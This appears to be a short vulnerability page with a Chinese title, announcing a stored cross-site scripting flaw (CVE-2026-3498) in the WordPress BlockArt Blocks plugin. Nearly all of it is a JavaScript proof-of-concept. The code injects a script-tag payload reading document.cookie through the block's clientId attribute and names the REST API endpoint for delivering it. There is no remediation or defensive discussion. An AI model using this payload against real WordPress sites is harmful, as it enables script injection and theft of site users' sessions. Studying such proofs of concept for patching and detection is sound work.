CVE-2026-3498 WordPress BlockArt Blocks存储型XSS漏洞

/* * PoC for CVE-2026-3498 * Description: Stored XSS in BlockArt Blocks via 'clientId' attribute. * Usage: Inject this payload into the clientId parameter of a block while editing a post. */ function exploit() { // Malicious payload designed to be injected into the clientId attribute var payload = '"><script>alert(document.cookie);</script><div id="'; // Simulating the vulnerable block object structure in WordPress Gutenberg var vulnerableBlock = { blockName: "blockart-blocks/post-template", attrs: { clientId: payload // Vulnerable parameter: insufficient sanitization }, innerBlocks: [], innerHTML: "", innerContent: [] }; console.log("[+] Generated Payload: " + payload); console.log("[+] Block Object Created:", JSON.stringify(vulnerableBlock, null, 2)); // In a real attack scenario, this object would be sent to the WordPress REST API // via a POST request to /wp-json/wp/v2/posts?id=<post_id> return vulnerableBlock; } exploit();